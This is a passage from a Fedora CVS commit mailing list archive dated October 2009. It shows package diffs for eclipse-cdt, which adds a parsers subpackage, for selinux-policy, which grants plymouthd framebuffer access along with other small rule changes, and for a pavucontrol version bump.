+mv $installDir/eclipse/plugins/*lrparser* $parsersInstallDir/eclipse/plugins
+mv $installDir/eclipse/features/*upc* $parsersInstallDir/eclipse/features
+mv $installDir/eclipse/plugins/*upc* $parsersInstallDir/eclipse/plugins
+
 mkdir -p $sdkInstallDir/eclipse/features $sdkInstallDir/eclipse/plugins
 mv $installDir/eclipse/features/*source* $sdkInstallDir/eclipse/features
 mv $installDir/eclipse/plugins/*source* $sdkInstallDir/eclipse/plugins
@@ -468,6 +491,27 @@ org.eclipse.equinox.p2.metadata.generato
 rm -rf repo
 popd
 
+# Generate p2 metadata for CDT Parsers
+pushd $parsersInstallDir/eclipse
+java -jar $LAUNCHER \
+-application \
+org.eclipse.equinox.p2.metadata.generator.EclipseGenerator \
+-metadataRepository file:`pwd`/repo \
+-artifactRepository file:`pwd`/repo \
+-source `pwd` \
+-root "CDT Parsers" \
+-rootVersion %{version} \
+-flavor tooling \
+-publishArtifacts \
+-append \
+-artifactRepositoryName "CDT Parsers" \
+-metadataRepositoryName "CDT Parsers" \
+-vmargs \
+-Duser.home=$homedir
+
+rm -rf repo
+popd
+
 # Generate p2 metadata for CDT SDK
 pushd $sdkInstallDir/eclipse
 java -jar $LAUNCHER \
@@ -547,6 +591,10 @@ rm -rf ${RPM_BUILD_ROOT}
 %defattr(-,root,root)
 %{eclipse_base}/dropins/cdt-mylyn
 
+%files parsers
+%defattr(-,root,root)
+%{eclipse_base}/dropins/cdt-parsers
+
 %if %{ship_tests}
 %files tests
 %defattr(-,root,root)
@@ -554,6 +602,10 @@ rm -rf ${RPM_BUILD_ROOT}
 %endif
 
 %changelog
+* Wed Oct 14 2009 Jeff Johnston  <jjohnstn at redhat.com> 1:6.0.1-2
+- Ship new parsers sub-package which includes xlc, upc, and lrparser plug-ins.
+- Require lpg-java-compat for build.
+
 * Fri Oct 09 2009 Jeff Johnston  <jjohnstn at redhat.com> 1:6.0.1-1
 - Rebase CDT to 6.0.1.
 


Index: fetch-cdt.sh
===================================================================
RCS file: /cvs/extras/rpms/eclipse-cdt/devel/fetch-cdt.sh,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- fetch-cdt.sh	9 Oct 2009 20:45:34 -0000	1.7
+++ fetch-cdt.sh	14 Oct 2009 19:35:31 -0000	1.8
@@ -37,27 +37,4 @@ java -cp /usr/lib/eclipse/startup.jar \
 
 find . -name net.*.jar -exec rm {} \;
 
-# Unfortunately for us, bringing in the master feature also drags in the c99 and upc features.  We must
-# remove them because they depend on the binary jar we just removed and build will note this, even if we
-# don't build those features.
-pushd results/features
-rm -rf *c99*
-rm -rf *upc*
-rm -rf *lrparser*
-rm -rf *xlc*
-popd
-pushd results/plugins
-rm -rf *c99*
-rm -rf *upc*
-rm -rf *lrparser*
-rm -rf *xlc*
-popd
-
-# Remove optional features: c99, upc, lrparser, and xlc from the master 
-# feature list.  We do not package them.
-pushd results/features/org.eclipse.cdt.master
-sed --in-place -e "64,71d" feature.xml
-sed --in-place -e "36,51d" feature.xml
-popd
-
 cd .. && tar jcf eclipse-cdt-fetched-src-$CDTTAG.tar.bz2 org.eclipse.cdt.releng


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/eclipse-cdt/devel/sources,v
retrieving revision 1.56
retrieving revision 1.57
diff -u -p -r1.56 -r1.57
--- sources	9 Oct 2009 20:45:34 -0000	1.56
+++ sources	14 Oct 2009 19:35:31 -0000	1.57
@@ -1,8 +1,7 @@
 5c470fb0777d27541edbfa31443d91f7  eclipse-cdt-cppunit-20061102.tar.gz
 2d4ae0a2131ba1efc896d981072cc091  eclipse-cdt-target_filter.gif.gz
-d0b0b38accc5547e6209fda23c6c8d49  eclipse-cdt-fetched-src-CDT_6_0_0.tar.bz2
 6cfdaee7d8ca1c14359225f7393e46ae  eclipse-cdt-fetched-src-autotools-v200907241319.tar.gz
 921f3464c4b5a284473ebdad634e5c2d  libstdc++-v3.libhover
 4bccad3ee92faaca4f8dc3ac6941434e  glibc-2.7-2.libhover
 2dbeff80a9c053b2888940a30f62d3f2  eclipse-cdt-fetched-src-libhover-R0_3_0.tar.gz
-b128891c69b669173abc21f5105e3a30  eclipse-cdt-fetched-src-CDT_6_0_1.tar.bz2
+62e2dcbf8fb1f1b23cc71ae762b873b8  eclipse-cdt-fetched-src-CDT_6_0_1.tar.bz2



From dwalsh at fedoraproject.org  Wed Oct 14 19:35:54 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Wed, 14 Oct 2009 19:35:54 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 policy-F12.patch, 1.109,
	1.110 selinux-policy.spec, 1.943, 1.944
Message-ID: <20091014193554.18B6B11C00E5@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2825

Modified Files:
	policy-F12.patch selinux-policy.spec 
Log Message:
* Wed Oct 13 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-27
- Allow plymouthd_t to use frame_buffer


policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/alsa.te              |    2 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/consoletype.te       |    1 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |   10 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    1 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   18 
 policy/modules/admin/rpm.if               |  264 +++++
 policy/modules/admin/rpm.te               |   95 +
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   66 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    5 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   34 
 policy/modules/admin/vbetool.te           |   14 
 policy/modules/admin/vpn.te               |    2 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/chrome.fc             |    2 
 policy/modules/apps/chrome.if             |   85 +
 policy/modules/apps/chrome.te             |   61 +
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/execmem.fc            |   31 
 policy/modules/apps/execmem.if            |   74 +
 policy/modules/apps/execmem.te            |   11 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 ++
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   18 
 policy/modules/apps/java.if               |  112 ++
 policy/modules/apps/java.te               |   14 
 policy/modules/apps/kdumpgui.fc           |    2 
 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   50 +
 policy/modules/apps/livecd.te             |   26 
 policy/modules/apps/loadkeys.te           |    4 
 policy/modules/apps/mono.if               |  101 ++
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   22 
 policy/modules/apps/nsplugin.fc           |   13 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  295 ++++++
 policy/modules/apps/openoffice.fc         |    3 
 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
 policy/modules/apps/pulseaudio.te         |    7 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  190 +++
 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   56 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  183 +++
 policy/modules/apps/sandbox.te            |  330 ++++++
 policy/modules/apps/screen.if             |    5 
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |  115 ++
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   28 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   34 
 policy/modules/kernel/devices.fc          |    8 
 policy/modules/kernel/devices.if          |  183 +++
 policy/modules/kernel/devices.te          |   19 
 policy/modules/kernel/domain.if           |  151 ++-
 policy/modules/kernel/domain.te           |   84 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  298 ++++++
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |    9 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  123 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |    8 
 policy/modules/roles/unconfineduser.if    |  638 +++++++++++++
 policy/modules/roles/unconfineduser.te    |  410 ++++++++
 policy/modules/roles/unprivuser.te        |  127 --
 policy/modules/roles/xguest.te            |   36 
 policy/modules/services/abrt.fc           |    2 
 policy/modules/services/abrt.if           |   40 
 policy/modules/services/abrt.te           |   21 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   38 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  439 +++++++--
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bluetooth.te      |    9 
 policy/modules/services/ccs.fc            |    5 
 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   19 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    4 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   38 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 -
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   54 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |   11 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    2 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   60 +
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 -
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.te          |    2 
 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.te          |   11 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/milter.if         |    2 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |    7 
 policy/modules/services/mta.te            |   35 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   11 
 policy/modules/services/nagios.if         |   70 +
 policy/modules/services/nagios.te         |   55 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   64 +
 policy/modules/services/networkmanager.te |  115 ++
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.if           |   18 
 policy/modules/services/nscd.te           |   17 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nut.fc            |   15 
 policy/modules/services/nut.if            |   82 +
 policy/modules/services/nut.te            |  140 ++
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 ++++++
 policy/modules/services/plymouth.te       |   95 +
 policy/modules/services/policykit.fc      |    5 
 policy/modules/services/policykit.if      |   48 +
 policy/modules/services/policykit.te      |   64 +
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++-
 policy/modules/services/postfix.te        |  140 ++
 policy/modules/services/postgresql.fc     |    1 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    1 
 policy/modules/services/privoxy.fc        |    3 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    6 
 policy/modules/services/rgmanager.if      |   59 +
 policy/modules/services/rgmanager.te      |   58 +
 policy/modules/services/rhcs.fc           |   21 
 policy/modules/services/rhcs.if           |  309 ++++++
 policy/modules/services/rhcs.te           |  340 +++++++
 policy/modules/services/ricci.te          |   21 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  102 ++
 policy/modules/services/setroubleshoot.te |   81 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  137 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  184 +++
 policy/modules/services/ssh.te            |   77 +
 policy/modules/services/sssd.fc           |    2 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |    6 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   12 
 policy/modules/services/virt.if           |  127 ++
 policy/modules/services/virt.te           |  283 +++++
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   33 
 policy/modules/services/xserver.if        |  534 ++++++++++-
 policy/modules/services/xserver.te        |  318 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  207 +++-
 policy/modules/system/authlogin.te        |   10 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
 policy/modules/system/init.if             |  158 +++
 policy/modules/system/init.te             |  285 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   55 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 ++
 policy/modules/system/iptables.te         |   15 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  159 ++-
 policy/modules/system/libraries.if        |    4 
 policy/modules/system/libraries.te        |   17 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |   18 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.te              |   25 
 policy/modules/system/miscfiles.fc        |    2 
 policy/modules/system/miscfiles.if        |   60 +
 policy/modules/system/miscfiles.te        |    3 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  227 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   77 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   21 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 ---------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1430 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   50 -
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 352 files changed, 16541 insertions(+), 2631 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.109
retrieving revision 1.110
diff -u -p -r1.109 -r1.110
--- policy-F12.patch	14 Oct 2009 14:48:38 -0000	1.109
+++ policy-F12.patch	14 Oct 2009 19:35:53 -0000	1.110
@@ -2137,7 +2137,7 @@ diff -b -B --ignore-all-space --exclude-
 +/usr/libexec/gnome-system-monitor-mechanism 	--      gen_context(system_u:object_r:gnomesystemmm_exec_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/gnome.if serefpolicy-3.6.32/policy/modules/apps/gnome.if
 --- nsaserefpolicy/policy/modules/apps/gnome.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/apps/gnome.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/apps/gnome.if	2009-10-14 10:28:56.000000000 -0400
 @@ -89,5 +89,175 @@
  
  	allow $1 gnome_home_t:dir manage_dir_perms;
@@ -5578,7 +5578,7 @@ diff -b -B --ignore-all-space --exclude-
  /var/named/chroot/dev/zero -c	gen_context(system_u:object_r:zero_device_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/devices.if serefpolicy-3.6.32/policy/modules/kernel/devices.if
 --- nsaserefpolicy/policy/modules/kernel/devices.if	2009-08-28 14:58:20.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/devices.if	2009-10-01 16:59:38.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/devices.if	2009-10-14 11:17:02.000000000 -0400
 @@ -1692,6 +1692,78 @@
  
  ########################################
@@ -12256,7 +12256,7 @@ diff -b -B --ignore-all-space --exclude-
 +/usr/local/linuxprinter/ppd(/.*)?      gen_context(system_u:object_r:cupsd_rw_etc_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/cups.te serefpolicy-3.6.32/policy/modules/services/cups.te
 --- nsaserefpolicy/policy/modules/services/cups.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/cups.te	2009-10-06 10:24:14.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/cups.te	2009-10-14 10:29:26.000000000 -0400
 @@ -23,6 +23,9 @@
  type cupsd_initrc_exec_t;
  init_script_file(cupsd_initrc_exec_t)
@@ -12365,7 +12365,7 @@ diff -b -B --ignore-all-space --exclude-
  kernel_read_system_state(cups_pdf_t)
  
  files_read_etc_files(cups_pdf_t)
-@@ -556,6 +577,7 @@
+@@ -556,11 +577,15 @@
  miscfiles_read_fonts(cups_pdf_t)
  
  userdom_home_filetrans_user_home_dir(cups_pdf_t)
@@ -12373,7 +12373,15 @@ diff -b -B --ignore-all-space --exclude-
  userdom_manage_user_home_content_dirs(cups_pdf_t)
  userdom_manage_user_home_content_files(cups_pdf_t)
  
-@@ -601,6 +623,9 @@
+ lpd_manage_spool(cups_pdf_t)
+ 
++optional_policy(`
++	gnome_read_config(cups_pdf_t)
++')
+ 
+ tunable_policy(`use_nfs_home_dirs',`
+ 	fs_manage_nfs_dirs(cups_pdf_t)
+@@ -601,6 +626,9 @@
  read_lnk_files_pattern(hplip_t, hplip_etc_t, hplip_etc_t)
  files_search_etc(hplip_t)
  
@@ -12970,7 +12978,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/fail2ban.te serefpolicy-3.6.32/policy/modules/services/fail2ban.te
 --- nsaserefpolicy/policy/modules/services/fail2ban.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/fail2ban.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/fail2ban.te	2009-10-14 12:53:20.000000000 -0400
 @@ -33,6 +33,7 @@
  allow fail2ban_t self:process signal;
  allow fail2ban_t self:fifo_file rw_fifo_file_perms;
@@ -12979,6 +12987,14 @@ diff -b -B --ignore-all-space --exclude-
  allow fail2ban_t self:tcp_socket create_stream_socket_perms;
  
  # log files
+@@ -79,6 +80,7 @@
+ auth_use_nsswitch(fail2ban_t)
+ 
+ logging_read_all_logs(fail2ban_t)
++logging_send_syslog_msg(fail2ban_t)
+ 
+ miscfiles_read_localization(fail2ban_t)
+ 
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/fetchmail.te serefpolicy-3.6.32/policy/modules/services/fetchmail.te
 --- nsaserefpolicy/policy/modules/services/fetchmail.te	2009-08-14 16:14:31.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/services/fetchmail.te	2009-09-30 16:12:48.000000000 -0400
@@ -15517,8 +15533,8 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/plymouth.te serefpolicy-3.6.32/policy/modules/services/plymouth.te
 --- nsaserefpolicy/policy/modules/services/plymouth.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/services/plymouth.te	2009-10-11 08:00:20.000000000 -0400
-@@ -0,0 +1,92 @@
++++ serefpolicy-3.6.32/policy/modules/services/plymouth.te	2009-10-14 11:18:02.000000000 -0400
+@@ -0,0 +1,95 @@
 +policy_module(plymouthd, 1.0.0)
 +
 +########################################
@@ -15563,9 +15579,12 @@ diff -b -B --ignore-all-space --exclude-
 +allow plymouthd_t self:unix_stream_socket create_stream_socket_perms;
 +
 +kernel_read_system_state(plymouthd_t)
++kernel_request_load_module(plymouthd_t)
 +
 +dev_rw_dri(plymouthd_t)
 +dev_read_sysfs(plymouthd_t)
++dev_read_framebuffer(plymouthd_t)
++dev_write_framebuffer(plymouthd_t)
 +
 +domain_use_interactive_fds(plymouthd_t)
 +


Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/selinux-policy.spec,v
retrieving revision 1.943
retrieving revision 1.944
diff -u -p -r1.943 -r1.944
--- selinux-policy.spec	13 Oct 2009 22:13:45 -0000	1.943
+++ selinux-policy.spec	14 Oct 2009 19:35:53 -0000	1.944
@@ -20,7 +20,7 @@
 Summary: SELinux policy configuration
 Name: selinux-policy
 Version: 3.6.32
-Release: 26%{?dist}
+Release: 27%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: serefpolicy-%{version}.tgz
@@ -449,8 +449,12 @@ exit 0
 %endif
 
 %changelog
+* Wed Oct 13 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-27
+- Allow plymouthd_t to use frame_buffer
+
 * Tue Oct 13 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-26
 - Fix labeling for privoxy config files
+- Add devtmpfs file system labeling
 
 * Mon Oct 12 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-25
 - Fix alias for execmem_exec_t



From lennart at fedoraproject.org  Wed Oct 14 19:59:23 2009
From: lennart at fedoraproject.org (Lennart Poettering)
Date: Wed, 14 Oct 2009 19:59:23 +0000 (UTC)
Subject: rpms/pavucontrol/devel .cvsignore, 1.14, 1.15 pavucontrol.spec, 1.21,
	1.22 sources, 1.14, 1.15
Message-ID: <20091014195923.BEFE211C00E5@cvs1.fedora.phx.redhat.com>

Author: lennart

Update of /cvs/pkgs/rpms/pavucontrol/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10310

Modified Files:
	.cvsignore pavucontrol.spec sources 
Log Message:
New upstream 0.9.10


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pavucontrol/devel/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	10 Sep 2009 02:25:18 -0000	1.14
+++ .cvsignore	14 Oct 2009 19:59:23 -0000	1.15
@@ -1 +1 @@
-pavucontrol-0.9.9.tar.gz
+pavucontrol-0.9.10.tar.gz


Index: pavucontrol.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pavucontrol/devel/pavucontrol.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- pavucontrol.spec	10 Sep 2009 02:25:18 -0000	1.21
+++ pavucontrol.spec	14 Oct 2009 19:59:23 -0000	1.22
@@ -1,5 +1,5 @@
 Name:           pavucontrol
-Version:        0.9.9
+Version:        0.9.10
 Release:        1%{?dist}
 Summary:        Volume control for PulseAudio
 
@@ -56,6 +56,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/applications/pavucontrol.desktop
 
 %changelog
+* Wed Oct 14 2009 Lennart Poettering <lpoetter at redhat.com> 0.9.10-1
+- New upstream 0.9.10
+
 * Thu Sep 10 2009 Lennart Poettering <lpoetter at redhat.com> 0.9.9-1
 - Final 0.9.9
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pavucontrol/devel/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	10 Sep 2009 02:25:18 -0000	1.14
+++ sources	14 Oct 2009 19:59:23 -0000	1.15
@@ -1 +1 @@
-df7c2dd3dc938ccda68868c61f4be462  pavucontrol-0.9.9.tar.gz
+b966eb31ec7fd6afa0f1ed7d5ba480b3  pavucontrol-0.9.10.tar.gz



From lennart at fedoraproject.org  Wed Oct 14 20:01:20 2009
From: lennart at fedoraproject.org (Lennart Poettering)
